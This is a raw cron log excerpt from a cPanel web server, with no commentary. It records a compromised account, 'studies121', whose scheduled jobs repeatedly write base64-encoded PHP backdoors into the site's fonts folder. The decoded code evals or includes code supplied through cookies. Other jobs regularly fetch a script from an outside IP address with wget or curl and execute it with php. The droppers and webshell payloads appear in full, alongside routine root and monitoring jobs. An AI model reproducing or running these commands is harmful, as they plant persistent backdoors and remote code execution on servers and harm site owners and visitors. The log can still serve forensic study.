Feb 22 20:08:01 ip-184-168-122-23 CROND[8229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:08:01 ip-184-168-122-23 CROND[8227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:08:01 ip-184-168-122-23 CROND[8231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:08:01 ip-184-168-122-23 CROND[8234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:09:01 ip-184-168-122-23 CROND[8549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:09:01 ip-184-168-122-23 CROND[8551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:09:01 ip-184-168-122-23 CROND[8552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:09:01 ip-184-168-122-23 CROND[8553]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 20:09:01 ip-184-168-122-23 CROND[8554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:10:01 ip-184-168-122-23 CROND[8973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:10:01 ip-184-168-122-23 CROND[8975]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 20:10:01 ip-184-168-122-23 CROND[8977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:10:01 ip-184-168-122-23 CROND[8976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:10:01 ip-184-168-122-23 CROND[8981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:10:01 ip-184-168-122-23 CROND[8983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:10:01 ip-184-168-122-23 CROND[8979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:10:01 ip-184-168-122-23 CROND[8986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:11:01 ip-184-168-122-23 CROND[9327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:11:01 ip-184-168-122-23 CROND[9326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:11:01 ip-184-168-122-23 CROND[9328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:11:01 ip-184-168-122-23 CROND[9330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:12:01 ip-184-168-122-23 CROND[9669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:12:01 ip-184-168-122-23 CROND[9672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:12:01 ip-184-168-122-23 CROND[9671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:12:01 ip-184-168-122-23 CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:12:01 ip-184-168-122-23 CROND[9679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:13:01 ip-184-168-122-23 CROND[9988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:13:01 ip-184-168-122-23 CROND[9991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:13:01 ip-184-168-122-23 CROND[9992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:13:01 ip-184-168-122-23 CROND[9990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:14:01 ip-184-168-122-23 CROND[10303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:14:01 ip-184-168-122-23 CROND[10305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:14:01 ip-184-168-122-23 CROND[10306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:14:01 ip-184-168-122-23 CROND[10307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:14:01 ip-184-168-122-23 CROND[10308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:15:01 ip-184-168-122-23 CROND[10621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:15:01 ip-184-168-122-23 CROND[10622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:15:01 ip-184-168-122-23 CROND[10623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:15:01 ip-184-168-122-23 CROND[10624]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 20:15:01 ip-184-168-122-23 CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:15:01 ip-184-168-122-23 CROND[10626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:15:01 ip-184-168-122-23 CROND[10627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:16:01 ip-184-168-122-23 CROND[11000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:16:01 ip-184-168-122-23 CROND[11002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:16:01 ip-184-168-122-23 CROND[11004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:16:01 ip-184-168-122-23 CROND[11007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:16:01 ip-184-168-122-23 CROND[11006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:16:01 ip-184-168-122-23 CROND[11008]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 20:17:01 ip-184-168-122-23 CROND[11398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:17:01 ip-184-168-122-23 CROND[11401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:17:01 ip-184-168-122-23 CROND[11404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:17:01 ip-184-168-122-23 CROND[11403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:18:01 ip-184-168-122-23 CROND[11723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:18:01 ip-184-168-122-23 CROND[11724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:18:01 ip-184-168-122-23 CROND[11726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:18:01 ip-184-168-122-23 CROND[11727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:18:01 ip-184-168-122-23 CROND[11729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:19:01 ip-184-168-122-23 CROND[12032]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:19:01 ip-184-168-122-23 CROND[12033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:19:01 ip-184-168-122-23 CROND[12034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:19:01 ip-184-168-122-23 CROND[12037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:20:01 ip-184-168-122-23 CROND[12365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 20:20:01 ip-184-168-122-23 CROND[12366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
